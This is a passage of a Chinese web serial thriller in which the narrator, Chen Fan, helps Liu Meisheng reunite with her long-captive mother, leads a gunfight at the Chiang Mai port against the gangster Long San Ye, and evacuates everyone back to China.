柳媚笙和母亲还抱在一起,哭得撕心裂肺。我收起枪,走到窗边,看着外面的海。
身后传来柳媚笙沙哑的声音:
“妈,这二十三年……你到底经历了什么?”
母亲的哭声停了一瞬,然后是更压抑的哽咽。
“小笙,妈妈对不起你……妈妈……”
270重逢柳媚笙的母亲(下)!
此刻,柳媚笙和母亲还保持着相拥的姿势,两个人的肩膀都在剧烈颤抖,但哭声已经止住了。不是不想哭,是眼泪流干了,嗓子哭哑了。
我站在窗边,背对着她们,给她们留出空间。
这种时刻,任何外人的存在都是打扰,我的身后传来柳媚笙沙哑的声音。
“妈……”
只是一个字,却承载了太多太多,二十多年的思念,二十多年的疑问,二十多年的委屈和痛苦,都在这个简单的音节里翻涌。
“小笙……我的小笙……”
母亲的回应同样简单,同样沉重。她的手颤抖着抚摸柳媚笙的脸,一遍又一遍,像在确认眼前这个人是真的,不是梦,不是幻觉。
“你长大了……长这么大了……”母亲的声音断断续续道:“妈妈走的时候,你才十岁……才这么高……”
她比划了一下,柳媚笙看着她的手势,眼泪又涌了出来。
“妈,我……我有好多话想问你……”
“妈妈知道,妈妈知道……”母亲把她搂得更紧道:“妈妈都告诉你,全都告诉你,只是让妈妈先看看你,好好看看你……”
我悄悄退到客厅门口,无声地拉开门,闪身出去。
走廊里空无一人,龙三爷的人撤得干干净净,周明他们还在外围待命,我把门虚掩上,靠在墙边,点了一支烟。
我吸了一口烟,缓缓吐出。
今夜之前,我见过很多生死,经历过很多离别,但像这样的重逢,是第一次,那种情感的冲击力,比任何的情绪都猛烈。
我的手机震动,我看了一眼,是周明发来的信息:“龙三爷已经离开芭提雅,去向不明,老爷子问情况如何?”
我回复:“安全,柳媚笙母女已团聚,你在外围警戒加强,防止龙三爷杀回马枪。”
周明秒回:“明白。”
我收起手机,继续抽烟。
客厅里隐约传来低低的说话声,我尽量不去听,给她们留足空间,这一刻,她们不需要任何人,只需要彼此。
一支烟抽完,我又点了一支,但我不急。二十三年都等过来了,不差这一会儿。
大约过了一个小时,客厅的门被轻轻拉开。
柳媚笙站在门口,眼睛红肿得厉害,脸上泪痕交错,但嘴角挂着一个极淡的笑容。那笑容很脆弱,像风中的烛火,随时会熄灭,但它是真实的。
“陈凡,进来吧。”她的声音还沙哑着道:“妈妈想见你。”
我掐灭烟,跟着她走进去。
客厅里的灯调暗了些,暖黄色的光晕笼罩着整个空间,兰馨坐在沙发上,手里捧着一杯水,看到我进来,她站起身。
我近距离看,她和柳媚笙更像了,只是她的脸上刻着岁月的痕迹,眼角细密如网的皱纹,鬓边藏不住的白发。
“你就是陈凡?”她看着我,目光里有审视,有感激,还有一种复杂的情绪,我说不上来。
“伯母好。”我微微点头。
她看着我,看了好几秒,然后缓缓弯下腰,对我鞠了一躬。
“谢谢。”她的声音颤抖着道:“谢谢你救了我的小笙,谢谢你在清迈……谢谢你一直保护她。”
我侧身避开她的礼,笑着说道:“伯母你别这样,我做的事,都是应该的。”
“没有什么是应该的。”她直起身,眼眶又红了道:“这个世界上,没有谁应该为谁拼命,你能为她拼命,说明她……”
兰馨看向柳媚笙,目光温柔得像月光。
“说明她遇到了对的人。”
柳媚笙的脸微微泛红,走过来拉住我的手。她的手心温热,不再像之前那样冰凉颤抖。
“妈,陈凡他……”她顿了顿,似乎在组织语言,“他不是那种会说很多话的人,但他做的每一件事,都……”
“我知道。”兰馨微笑着打断她,拍拍她的手背,“妈妈活了这么多年,看人还是看得准的,他是个好孩子。”
我不知该说什么,只是沉默着点了点头。
柳媚笙的母亲招呼我们坐下,柳媚笙挨着我坐在沙发上,兰馨坐在我们对面的椅子上,茶几上摆着几盘点心和两杯热茶,显然是刚才让服务员送来的。
客厅里安静了一会儿,兰馨看着柳媚笙,目光怎么也移不开,像看一件失而复得的珍宝。
“小笙……”兰馨轻声开口道:“你想问什么,就问吧,妈妈什么都告诉你。”
柳媚笙深吸一口气,握紧了我的手。
“妈,当年……到底发生了什么?”
兰馨低下头,看着手里的水杯,沉默了很久。当她再抬起头时,眼眶里已经蓄满了泪水。
“二十三年前,龙三爷他早就盯上我了。”她的声音很轻,像是在讲述一个遥远的噩梦。
“你父亲在清迈做生意,跑金三角那条线,难免和他打交道,他第一次见我,是在一次酒会上,从那以后,他就……”
她顿了顿,咬了咬下唇。
“他开始纠缠我,送东西,写情书,托人带话,我拒绝他,他就变本加厉,后来……后来他开始威胁你父亲,说如果我不从,就让他在清迈的货永远出不去,让他的人永远回不来。”
柳媚笙的眼泪又流了下来。
“那些信……你写给父亲的那些信……”
“是我写的。”兰馨点头道:“但不是我想写的,是他逼我写的,他让人看着我一笔一划写下来,然后寄给你父亲,他要让你父亲以为我已经妥协了,以为我已经……已经是他的女人了。”
她的声音开始发抖。
“后来有一天晚上,他喝醉了,闯进我房里……如果不是达叔及时赶到,我……”
柳媚笙握紧我的手,指节发白。
“从那以后,你父亲就把我藏了起来,不让我出门,不让我见任何人。但龙三爷的人还是找到了我,他让人带话给我,说如果不跟他走,就杀了你和你父亲,我……我没有办法……”
她终于哭出声来,双手捂住脸,肩膀剧烈颤抖。
“妈……”柳媚笙松开我的手,扑过去抱住母亲,“别说了,别说了……”
兰馨摇摇头,强忍着哭声继续说:“让我说完……这些话,我憋了二十三年,从没对任何人说过……”
她抬起头,满脸泪痕。
“我跟龙三爷走了,他答应我,只要我不反抗,只要我不跑,他就保证你们父女平安,他做到了,这些年,他确实没动你们,但他也从来没让我离开过。”
“他把你关起来?”柳媚笙的声音尖锐起来。
“不是关。”母亲摇头,“是软禁,我在缅甸、老挝、泰国,都住过,他知道我跑不掉,也知道我不会跑——因为我跑了,你们就会有危险。”
柳媚笙的眼泪流得更凶了。
“妈……这二十三年,你……你是怎么熬过来的?”
兰馨看着她,忽然笑了,那笑容里有泪,有痛,还有一种超越了痛苦的平静。
“想你。”她说,“每天每夜,每时每刻,都在想你。想你长多高了,想你上学累不累,想你有没有受欺负,想你,想你有没有忘了妈妈。”
柳媚笙再也忍不住,扑进母亲怀里,放声大哭。那哭声撕心裂肺,像要把二十三年积攒的所有眼泪一次流干。
母亲抱着她,轻轻拍着她的背,像拍一个婴孩。
“哭吧,哭出来就好了。”她喃喃着,“妈妈在呢,妈妈在呢……”
天快亮时,柳媚笙走过来,轻轻靠在我肩上。她的眼睛肿得厉害,但脸上的表情是放松的,甚至带着一丝这些天来从未有过的安详。
“陈凡。”她轻声说。
“嗯。”
“谢谢你。”
“谢过了。”
“那就再谢一次。”她把脸埋在我肩窝里,“谢谢你带我找到妈妈,谢谢你……让我还能再看到她。”
我没有说话,只是揽住她的肩膀。
母亲也走过来,站在我们身边,看着窗外渐亮的海面。
“这海,真好看。”她轻声说,“这些年,我住过很多地方,看过很多海,但都不如这里的……不如这里的亲切。”
柳媚笙转过头看着她。
“妈,你以后……还走吗
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?”
母亲愣了一下,然后轻轻笑了。
“不走了。”她说,“我欠你二十三年,以后的日子,都还给你。”
柳媚笙的眼眶又红了,但这次她没有哭,只是用力点了点头。
不知过了多久,母亲轻轻叹了口气。
“小笙,你父亲……他走的时候,还好吗?”
柳媚笙的身体僵了一下。
“他……”她的声音有些哽咽,“他走得很安详。最后那几年,他身体不太好,但一直……一直惦记着你。”
母亲的眼眶又红了。
“他怪我吗?”
柳媚笙沉默了几秒。
“他从来没说过。”她轻声说,“但他留下了一个盒子,里面都是你写的信。他让我……让我有一天如果有机会见到你,就把那些信还给你。”
母亲的身体微微颤抖。
“他……他留着那些信?”
“都留着。”柳媚笙点头,“一封都没丢,用红绸子包着,放在他枕头底下,我整理遗物的时候才发现。”
母亲闭上眼睛,泪水从眼角滑落。
我默默退后一步,我走到客厅另一侧,拿起手机,给周明发了条信息:“情况稳定。安排撤离,准备安全屋。”
周明很快回复:“明白。车一小时后到。”
一小时后,周明带着两辆车准时到达。
我们离开海月会所时,母亲回头看了一眼那栋别墅,眼神复杂。
“不舍得?”柳媚笙轻声问。
母亲摇摇头。“不是不舍得。是……是没想到,会在这种地方,用这种方式,重新见到你。”
她收回目光,看着柳媚笙,微微一笑。
“但不管怎么说,值了。”
柳媚笙挽住她的胳膊,母女俩一起上了车。
我上了另一辆车,周明坐在驾驶座。
“去老爷子安排的新安全屋。”他说:“在芭提雅北边,更隐蔽,龙三爷那边暂时没动静,但不能掉以轻心。”
新安全屋是一栋隐藏在棕榈林中的平房,比之前的别墅更小,但设施齐全,周围植被茂密,隐蔽性很好。
老韩已经在门口等着,看到我们下车,他快步迎上来。
“陈总,这里的房间都准备好了,早餐也备好了。”他看了一眼母亲,没有多问,只是点了点头道:“伯母好。”
兰馨微微颔首,神色有些疲惫。
安顿下来后,我让柳媚笙陪母亲去休息。母女俩还有很多话要说,需要一个私密的空间。
她们进了最里面的房间,关上门。
我在客厅的沙发上坐下,终于能放松一下紧绷的神经。周明递过来一杯咖啡,我接过,喝了一口。
“接下来打算怎么办?”他问。
我看着窗外。
“等。”
“等什么?”
“等龙三爷下一步动作。”我说,“他不会善罢甘休的,**计划、柳家母女、还有我们这些搅局的人,他不会就这么算了。”
周明点点头。
“老爷子也是这个意思,他会继续盯着龙三爷的动向,有消息第一时间通知你。”
我靠在沙发背上,闭上眼睛。
疲惫如潮水般涌来,一夜未眠的困意终于战胜了紧绷的神经。
不知过了多久,耳边传来轻轻的脚步声。我睁开眼,看到柳媚笙站在我面前。
她换了一身干净的衣服,头发重新梳好,脸上的泪痕洗干净了,眼睛的红肿也消了一些。整个人看起来精神了许多。
“睡着了?”她轻声问。
“眯了一会儿。”我坐直身子,“你妈呢?”
“睡了。”她在旁边坐下,“二十三年了,第一次睡安稳觉。”
我看着她。
“你呢?”
她愣了一下,然后微微笑了。
“我也第一次。”她靠在我肩上,“陈凡,你知道吗?从清迈到现在,这么多天,我从来没有真正放松过,就算在你怀里睡着,梦里也都是那些血腥的场面,但刚才,看着妈妈睡着的样子,我忽然觉得……”
“忽然觉得,就算明天天塌下来,也值了……”
271绝地反击(上)!
柳媚笙睡着后,我在沙发上又坐了一会儿,我看着她安静的睡颜,听着她均匀的呼吸,心里也放心不少。
这今天对于柳媚笙的经历,真的是太跌宕起伏了,换做寻常人,早就撑不住了。
我就这么陪着她,忽然,里面的门轻轻推开了,是柳媚笙的母亲兰馨走了出来。
这个女人虽然上了年纪,可还是美不胜收,她已经换过一身衣服,将头发重新梳好,脸上虽然还有疲惫的痕迹,但精神比昨晚好了许多。
她看到柳媚笙靠在我肩上睡着,脚步顿了一下,她看向我的眼神里有欣慰,有感激,还有一丝我看不太懂的东西。
“让她睡吧,她很久没睡这么沉了。”我小声的说道。
兰馨点点头,然后在旁边的单人沙发上坐下,她的目光一直停留在女儿脸上,舍不得移开。
“她小时候也这样。”她轻声说,声音很轻,怕吵醒柳媚笙。
“小生睡着了就不爱动,她一觉能睡到日上三竿,我每次叫她起床,都要叫好几遍。”
兰馨说着,嘴角浮起一个温柔的笑容,但那笑容里藏着深深的母爱。
我静静听着,没有打断她。
“她十岁那年……”兰馨的声音颤了一下道:“也就是我离开的前一天晚上,她也是这样睡着的,我坐在她床边,看了她一整夜,那时候我不知道,这一走,就是二十三年。”
她抬起手,用手背擦了擦眼角。
“我以为她会恨我。”她轻声说:“我以为她长大了会怨我、会骂我、会不肯认我,可她没有,她什么都没问,就抱着我哭,叫我妈……”
她的眼泪终于掉下来。
我递过纸巾盒,她接过,擦了擦眼泪,勉强笑了笑。
“陈凡,对不起,我太激动了。”她深吸一口气道:“让你见笑了。”
“没关系。”我说。
她看着我,目光里有审视,有探究,还有一种长辈特有的温和。
“陈凡,我能问你几个问题吗?”
“您问。”
“你是做什么的?”
我想了想,说:“我是做生意的,做点杂事。”
“杂事?”她微微笑了道:“能把我女儿从龙三爷手里救出来的人,做的不应该是杂事吧?”
我没有正面回答。
她也不追问,换了个问题:“你和小笙是怎么认识的?”
这个问题更复杂,我斟酌了一下,说:“因为一些事情,她帮我,我也帮她。后来……”
“后来就在一起了?”她替我说完。
我点点头。
她看着我,目光里有一种过来人的通透。
“小笙这孩子,我看着长大的,她表面精明,心里却比谁都脆弱,她看起来会算计,其实最不会算计的就是感情。”她顿了顿,说道:“她能把自己交给你,说明你值得。”
我不知道该说什么,只是沉默着,柳媚笙在我肩上动了动,换了个姿势,又沉沉睡去。
兰馨看着女儿,眼神温柔得像月光。
“陈凡,我想求你一件事。”
“您说。”
“陈凡,带我一起回国。”她抬起头看着我,眼睛里有一种决绝的平静,道:“我想去看看小笙她父亲,去他墓前,给他磕个头,跟他说一声对不起。”
我看着她,这个被囚禁了二十三年的女人,这个刚刚重获自由的女人,第一个愿望不是休息,不是享福,而是去给亡夫磕头。
“您确定?”我问道:“龙三爷还在外面,阿姨你回国可能会有危险。”
“我知道。”她点点头坚定道:“但我必须去!这二十三年,我每天晚上做梦,都梦见他,有时候是他年轻时的样子,有时候是他老了的样子,有时候是他站在门口等我回去的样子,我看不清他的脸,但我知道那是他。”
她的眼泪又涌出来。
“我欠他太多,欠他一个解释,欠他一个告别,欠他二十三年。”
我沉默了几秒。
“好。”我说道:“我带您回去。”
她愣了一下,然后眼泪流得更凶了,但这一次,她在笑。
“谢谢你,陈凡,谢谢你。”
柳媚笙在我肩上动了动,迷迷糊糊地睁开眼。
“妈?”她看到母亲在哭,一下子清醒了,道:“怎么了?出什么事了?”
“没事,没事。”兰馨擦着眼泪走过去,握住女儿的手,“妈妈没事,妈妈就是就是高兴。”
柳媚笙看看母亲,又看看我,眼神里有疑问。
我正要解释,手机突然剧烈震动起来。
我拿出来一看,屏幕上显示的来电人是周老爷子。
这个时间,他亲自打来电话,绝不可能是闲聊。
我接通,放到耳边。
“老爷子。”
周老的声音从听筒里传来,苍老但沉稳,但那种沉稳里,藏着一丝不易察觉的紧绷。
“陈凡,清迈港出事了。”
我瞬间坐直身体,精神无比的集中!
“一个小时前,龙三爷的人突然动手,他们出动了至少五十人,全部武装,趁夜突袭港口仓库区。”
“现在情况如何?”我问。
“还在打。”周老的声音沉了下去道:“我的人一开始被打了个措手不及,损失不小,但现在已经稳住阵脚,正在反击,问题是……”
他顿了顿。
“龙三爷这次是玩真的,他派来的人里,有缅甸那边的精锐雇佣兵,装备精良,训练有素,我的人虽然也能打,但毕竟只是安保公司出身,硬拼下去,伤亡会很大。”
我眉头紧锁。
“周老,您需要我做什么?”
电话那头沉默了几秒。
“陈凡,我知道你刚经历了一场恶战,需要休息,但清迈港这块,我的人需要一个能打硬仗的指挥官,龙三爷那边带队的人,据说是他儿子龙威。”
龙威?!
“我需要你去一趟清迈。”周老说道:“带着柳丫头的人,带着我的人,把龙三爷的人打回去,清迈港不能丢,丢了,整个东南亚的通道就断了。”
我看向窗外,我这里是阳光明媚,海风轻柔,可是三百公里外的地方,此刻正在血流成河。
“我马上去。”我说。
挂断电话,柳媚笙已经站了起来。她听到了对话的内容,脸色变得苍白,但眼神里没有恐惧,只有一种燃烧的愤怒。
“龙三爷……”她咬着牙道:“他还是动手了。”
兰馨握着女儿的手,脸色也白了,但她没有慌张,只是轻声问:“小笙,你要去吗?”
柳媚笙看向我。
我看着她。
“你不用去。”我说道:“你留下陪你妈吗,我去就行。”
“不行。”她摇头,语气斩钉截铁道:“清迈港有柳家的股份,有我爸当年打下的基业,龙三爷想抢,我得亲自去守着。”
“小笙……”兰馨想说什么。
柳媚笙转身抱住母亲。
“妈,你在这里等我,我去去就回。”她的声音很轻,但很坚定道:“这次我不会再让你等了。”
兰馨的眼泪又涌出来,但她没有阻止,只是用力点头。
“好,妈等你,妈等你回来。”
柳媚笙松开母亲,看向我。
“什么时候走?”
“现在。”
二十分钟后,我们已经坐上了前往芭提雅机场的车,周明开车,副驾驶上坐着林峰,后座是我和柳媚笙,兰馨站在安全屋门口,一直看着车子消失在棕榈林深处。
“伯母一个人留在那里,安全吗?”柳媚笙问。
“老韩会照顾她。”周明说道:“那个安全屋很隐蔽,龙三爷的人找不到,而且老爷子派了四个人在附近守着,出不了事。”
柳媚笙点点头,不再说话,她看着窗外飞速**的风景,手指紧紧攥着脖子上的**项链。
我握住她的手。她的手冰凉,但没有颤抖。
“怕吗?”我问。
她转过头看着我。
“不怕。”她说,“有你在,不怕。”
车子驶上高速公路,向着机场疾驰。
一个小时后,我们登上了一架私人飞机,这些周老爷子的安排。这个飞机不大,但设备齐全,除了我们四个,还有八个周家秘卫的精锐。
起飞后,周明摊开一张地图,开始介绍情况。
“清迈港分三个区域:集装箱码头、散货码头和仓库区。龙三爷的人主攻的是仓库区,那里储存着大量贵重货物,也是港口防御最薄弱的地方。”
他的手指在地图上移动。
“目前,我方还有大约三十人守在仓库区,依托建筑和货堆进行抵抗,龙三爷的**约五十人,分成三组,从东、南、北三个方向
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包围,西面是海,暂时安全。”
“我们的优势是什么?”我问。
“熟悉地形,仓库区是我方的人长期驻守的地方,每条路、每个死角都一清二楚。龙三爷的人是外来户,只能靠强攻。”
“劣势呢?”
周明顿了顿。
“装备,龙三爷的人有重武器——火箭筒、轻**,还有夜视仪,我方的人只有**和**,火力压制不住。”
我盯着地图,脑海里快速推演。
“我们到了之后,从西面海上绕过去,从背后突袭。”我说,道:“让守军配合,两面夹击。”
林峰皱眉:“海上?我们没有船。”
“到了清迈再找。”我说,“渔船、快艇,什么都行。只要能绕到他们后面。”
周明点头,开始用卫星电话联络清迈那边。
柳媚笙一直看着窗外,没有说话。
我轻轻握住她的手。
她转过头,看着我。
“陈凡。”
“嗯。”
“等这件事结束了,我们一起陪妈妈去看爸爸的墓。”她的声音很轻,“然后……然后我们回家。”
回家。
“好。”我说。
飞机继续向前,清迈要到了。
一个半小时后,飞机降落在清迈机场。
停机坪上已经有两辆车在等着,我们迅速上车,向着清迈港方向疾驰。
“已经打起来了。”周明盯着手机道:“最新消息,龙三爷的人发动了第二轮进攻,我方又损失了五个人,仓库区外围已经失守。”
“还有多久到?”
“十分钟。”
车子拐进一条小路,绕过港口正门,从侧面向海边靠近,空气中硝烟味越来越浓,隐约能听到远处传来的**,密集而急促。
在一处废弃的仓库前,车子停下,周明带着我们穿过仓库,来到海边。
“陈总,我们需要从这里绕过去,这里十分钟就能到仓库区西侧。”周明说。
“好,大家现在检查装备!”我下了命令。
我检查了一下装备,**、**、**,还有夜视仪。柳媚笙也在做同样的准备,动作熟练,没有一丝慌乱。
“准备好了吗?”我问。
她抬起头,看着我,道:“准备好了!”
我点点头,看向周明和林峰。
“出发。”
两艘快艇驶离海岸。
十分钟后,仓库区火光冲天,那熊熊火光,照亮了半边夜空,那边**密集如炒豆,偶尔夹杂着**的轰鸣。
“靠岸。”我下令。
快艇瞬间冲向沙滩,在离岸十几米的地方搁浅。
我们跳进齐腰深的海水,蹚着向岸边移动,海水冰凉,但此刻没人顾得上这些。
上岸后,我们迅速隐蔽在几堆废弃的集装箱后面。前方一百米处,就是仓库区的主战场。
火光中,人影闪动,枪口焰明灭不定。龙三爷的人正在向仓库核心区域推进,而我方的人依托着货堆和建筑,拼命抵抗。
“分成两组。”我快速部署,道:“林峰带一队从左侧迂回,我带一队从右侧包抄,周明居中联络,协调守军配合,听我信号,同时开火。”
众人点头,迅速散开。
我看向柳媚笙。
“跟紧我。”
她点头,握紧了手中的枪。
我们沿着集装箱的阴影快速移动,向右侧包抄。**越来越近,**的火光一次次照亮周围的一切。空气中弥漫着硝烟和血腥味,刺鼻而压抑。
前方五十米处,出现了龙三爷的人。大约十几个,正依托着几堆货物向仓库方向射击。他们的注意力全在前方,完全没有注意到身后的危险。
我举起手,示意停止前进。
耳机里传来林峰的声音:“左侧就位。”
周明的声音紧随其后:“守军已收到信号,准备配合。”
我深吸一口气,瞄准最近的那个敌人。
“三……二……一……开火!”
**瞬间炸响。
密集的**从两个方向同时倾泻向龙三爷的人。他们猝不及防,瞬间倒下四五个,剩下的人慌乱地转身还击,但已经晚了,仓库里的守军也冲了出来。
这场战斗持续了不到五分钟,龙三爷的那十几个人,没有一个活着离开。
“清理战场,继续推进。”我下令。
272绝地反击(下)!
在我的指挥下,我们继续向前和守军会合,守军的指挥官是个三十多岁的精悍男人,他浑身是血,看的出来他的疲惫,现在他就是靠意志在支撑。
“陈先生!”他握住我的手,声音激动到:“谢谢你们来!”
“现在情况如何?”我问道。
“龙威东面和南面的敌人都被我们击退了,但北面还有二十多个,正依托着那边的仓库负隅顽抗,他们有重武器,我们冲不过去。”
“带路。”我说道。
我们迅速向北移动,没走几步,就听到前方激烈的**。
我观察了一下地形,龙三爷的人占据着一栋两层高的仓库,周围是开阔地,属于易守难攻的地形。
“陈总,如果我们硬冲,伤亡会太大。”周明说。
我看向柳媚笙,她正盯着那栋仓库。
“陈凡,这里仓库后面有一条排水沟,好像可以直通里面。”柳媚笙指了指前面,我随手看去,确实如她所说。
我眼睛一亮,问了一句指挥官:“这个排水能进去多少人?”
“也就两三个。”
“够了。”我看向林峰道:“你带人正面佯攻,吸引火力,我带两个人从排水沟进去。”
“陈总,这样太危险了!”林峰反对。
“正面更危险,就这么定了,听我的。”我打断林峰,坚定的表明自己的想法。
柳媚笙看着我:“陈凡,我也去。”
我看着她,心想:柳媚笙一个人我更不放心,还不如把他戴在身边。
“跟紧我。”我说道。
“好!”
我和柳媚笙还有一个叫阿泰的人,一起钻进了排水沟,这里很窄,只能容忍一个人通过,排水沟里散发着恶臭,我们三个人在黑暗中摸索着前进。
而此刻,外面的**不断地从头顶传来,柳媚笙被吓了一跳,我一直拉着她的手,给她安慰。
我和柳媚笙还有阿泰大概走了几分钟,看到了排水沟的出口,可出口却被铁栅栏给封着。
“陈哥,我来。”
阿泰说着走上前,他用液压钳剪断铁栅栏,我们钻出去,眼前是一个堆放杂物的房间,透过门缝,能看到外面的大厅,龙三爷的人正依托着门窗向外射击,完全没注意到身后。
我对柳媚笙和阿泰做了个手势:我左,阿泰右,柳媚笙掩护。
他们点了点头,然后我砰一脚踹开门。
我迅速扣动**,瞬间放倒两个敌人,阿泰从右侧突入,也打倒了两个,剩下的敌人终于反应过来,慌乱地转身还击。
砰!
柳媚笙精准的射中了一个正瞄准我的人,她半掩护在门口,射击姿势非常的老练。
我们这场偷袭,持续了不过几十秒,里面的敌人,就已经被我们全部放下。
“你流血了,陈凡!”
柳媚笙喊了一声,我低头一看,我的右手臂不知道什么时候被流弹给擦伤了,现在传来火辣辣的疼痛。
柳媚笙跑过来,看着我手臂上的伤,眉头紧皱。
“没事,只是皮肉伤。”
她没有说话,马上从急救包里拿出绷带,熟练地帮我包扎。
“陈凡。”她低着头,轻声说。
“嗯。”
“我们赢了。”
我看向大厅外,火光渐渐熄灭,**彻底停止,此刻周明正打着人清理战场,而林峰在清点伤亡。
“嗯,赢了!”我说。
她抬起头,看着我的眼睛,激动到:“陈凡,谢谢你带我活下来一次!”
我伸手,擦掉她脸颊上的血迹。
“走吧,回家。”
她点点头,笑了。
我拉着柳媚笙的手,与她一起走到仓库外面,这里四周都是我们的人,我可以很放心。
“陈总。”周明走过来,向我汇报道:“刚刚轻点完毕,我方阵亡十一人,重伤七人,轻伤十六人,龙三爷那边,留下三十七具尸体,还有十几个受伤的被俘虏了,他儿子龙威跑了。”
龙威能够跑了,在我意料之中,他怎么可能会被轻易抓住?
“龙三爷那边有什么动静?”我问。
“暂时没有。”周明说,“但老爷子那边传来消息,龙三爷昨天晚上就离开了泰国,去了缅甸,应该是去重新集结力量。”
我没有说话,只是拿出了一盒烟,开始抽了起来。
“陈总,周小姐刚才传话,让你们快点回去,这里不安全,龙三爷随时都有可能反扑。”
“周叶青?”
“是的!”
周明再一次点头,我深吸一口烟,周叶青都发话了,我不得不马上离开,这个女**智近妖,她的信息是不会错的。
“走吧陈凡,咱们回去,妈妈还在等我们。”柳媚笙挽着我的手臂说道。
“好。”
几分钟后,我们坐上了回芭提雅的车,车子飞速行驶,三个小时后,我们回到了那个别墅。
当车子开进院子的时候,兰馨已经站在门口等着,她双手交叉在身前,时不时的探头张望,一直在等待我们的车。
车刚停稳,柳媚笙就推开车门冲下去。
“妈!”
兰馨快步迎上来,母女俩紧紧抱在一起。
“小笙……小笙你没事吧?”兰馨的声音颤抖着,手在女儿身上摸索,像是在确认她完好无损。
“妈,我没事,我没事。”柳媚笙抱着母亲,轻声安慰道:“陈凡保护我,我们都没事。”
兰馨抬起头,看向从车上下来的我。她的眼眶里含着泪,嘴角却浮起一个感激的笑容。
“陈凡,谢谢你又把她平安带回来。”
我点点头:“应该的。”
老韩张罗着准备午饭,我们进了屋,柳媚笙陪兰馨坐在沙发上,简单讲述了清迈港的战斗,她讲得很克制,省略了最血腥的部分,但兰馨还是听得脸色发白,紧紧握着女儿的手。
“妈,我们没事,最后,我们赢了。”柳媚笙说完,轻轻靠在母亲肩上。
兰馨点点头,眼眶又红了。
吃饭的时候,柳媚笙吃了不少,这几天她第一次有这么好的胃口,兰馨不停地给她夹菜,自己却没怎么吃,只是看着女儿吃,嘴角一直挂着温柔的笑容。
吃完饭,柳媚笙的眼皮又开始打架。兰馨让她回房间睡一会儿,她点点头,看向我。
“你也睡一会儿。”她说道:“你比我更累。”
我摇摇头:“你先睡,我还有点事。”
她看着我,没有坚持,起身回了房间。
客厅里只剩下我和兰馨。
她坐在沙发上,手里捧着茶杯,目光落在窗外。午后的阳光透过百叶窗,在她脸上投下明暗相间的条纹。
“陈凡。”她忽然开口。
“嗯。”
“你能陪我聊聊吗?”
我在她对面的椅子上坐下。
兰馨深吸一口气,看向我:“陈凡,我想问你一件事。”
“您说。”
“你对小笙……是真心的吗?”
这个问题很直接,我看着她,她也在看我,目光里没有审视,只有一种母亲的担忧和期盼。
“是。”我说。
她看着我,看了好几秒,然后轻轻笑了。
“
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好。”她说:“我信你。”
“我想回国。”她说,“去看看她爸爸。”
我点点头:“我答应过您的,等这边事情处理完,我们就走。”
“越快越好。”她转过身看着我,“我知道龙三爷不会善罢甘休,但我不想再等了。二十三年,太久了。”
我沉默了几秒。
“好。”我说道:“明天就安排。”
她愣了一下,然后眼眶红了。
“谢谢你,陈凡。谢谢你。”
就在这时,我的手机震动起来。
是加密线路的专用手机。
我拿出来一看,屏幕上显示的来电人是周叶青。
“陈凡,龙三爷派人去了你们那边的安全屋!”
我心中一凛。
“什么时候?”我问道。
“十分钟前,我的人发现他们在附近活动,我马上通知你。”
我握着手机的手紧了紧。
“他们怎么找到的?”我问。
“还不清楚,可能是跟踪,可能是内鬼,也可能是之前的行踪暴露了。”周叶青顿了顿道:“陈凡,你们不能留在芭提雅了,龙三爷的人既然能找到那里,就能找到别的地方,你们必须尽快离开泰国。”
我看向兰馨,她站在那里,脸色苍白,但眼神里没有恐惧,只有一种早已预料到的平静。
“我们现在就走!”我说。
“好,我安排飞机!你先回国再说!”
我认识周叶青这么久,还是第一次从她的语气里听出了刻不容缓的感觉。
“你现在马上收拾,我会安排直升机,接你们离开!”
“好。”
“陈凡!活着回来!”
“好!”
挂上电话,兰馨担心的问我:“陈凡,是遇到危险了吗?”
“龙三爷的人找到了这里,正往这边来呢!”
她沉默了几秒,然后轻轻叹了口气。
“也好。”她说,“反正我也要走了,只是小笙刚睡着,又要叫醒她。”
“让她再睡一会儿。”我说:“直升机一会儿才到。”
我马上交周明和林峰收拾,一会儿马上撤离。
声音吵醒了柳媚笙,她走出房间,问我:“陈凡,怎么了?发生什么事了?”
兰馨拉着她坐下,把情况简单说了。
柳媚笙听完,沉默了几秒,然后点点头。
“好。那就走。”
十分钟后,老韩来接我们,然后赶往飞机场。
一个小时后,我们到达芭提雅机场。周明直接把车开到停机坪,一架小型私人飞机已经等在那里。
我们一起登上飞机。
飞机起飞时,兰馨坐在窗边,一直看着外面,柳媚笙靠在她肩上,握着她的手。
我坐在对面,看着她们。
这一刻,很安静。
很温暖。
很……像是家的感觉。
不知过了多久,兰馨轻声开口:“小笙,等到了那边,你陪妈妈去看看你爸爸的墓。”
柳媚笙点头:“好。”
“然后……”兰馨顿了顿,“然后妈妈想找个地方住下来。离你近一点,能常常见到你。”
柳媚笙抬起头看着母亲。
“妈,你不跟我一起住吗?”
兰馨笑了,那笑容里有温柔,也有一种历经沧桑后的通透。
“小笙,你有你的生活。妈妈不打扰你。”她轻轻抚摸着女儿的脸,“只要你能常来看看妈妈,就够了。”
柳媚笙的眼眶红了。
“妈……”
“傻孩子。”兰馨把她搂进怀里,“妈妈还有后半辈子,能慢慢还你。”
273你今晚留下陪我!
上城。
我们坐在飞机上,我看着下面熟悉的城市,我不由得感慨:能活着回来,真好!
柳媚笙醒来,揉了揉眼睛,看向窗外。
“到了?”她温柔的看向我。
“嗯。”
柳媚笙坐直身子,然后整理了一下头发和衣服。旁边的兰馨也醒了,母女俩相视一笑,那笑容里有疲惫,也有一种终于回到熟悉地方的安心。
飞机平稳的降落在周家的停机坪,停机坪上停着一辆黑色的宾利,车旁站着一个女人,是周叶青。
她今天穿着一身深灰色套装,及膝的裙摆下是一双笔直修长的腿,脚踩一双黑色高跟鞋。
周叶青的长发披散在肩上,被秋风吹起几缕,拂过她精致得近乎完美的侧脸,她微微侧着头,正在听旁边的人说话,从我这个角度看过去,她绝美!
听到脚步声,她转过头来,那一瞬间,惊为天人!
她向我们走来,步伐优雅从容。
“陈凡。”她开口,声音清冽如山泉。
“好久不见。”她说道。“
“周总,能活着回来,可真好。”我笑着说。
周叶青微微一笑,恰到好处,然后她的目光转向我身边的柳媚笙和兰馨。
“柳小姐,伯母。”她微微颔首道:“一路辛苦了,车已经准备好,我先送你们去休息的地方。”
“谢谢周总亲自来接。”柳媚笙也笑了,那笑容和她的不同,是另一种风情。
两个女人对视了一秒,然后同时移开视线。
兰馨站在女儿身边,目光在周叶青身上停留了几秒,然后看向我,她的眼神里有种过来人的了然,还有一丝隐隐的担忧。
她悄悄拉了一下柳媚笙的袖子。
柳媚笙微微侧头,兰馨凑到她耳边,用只有母女俩能听见的声音说了一句话。
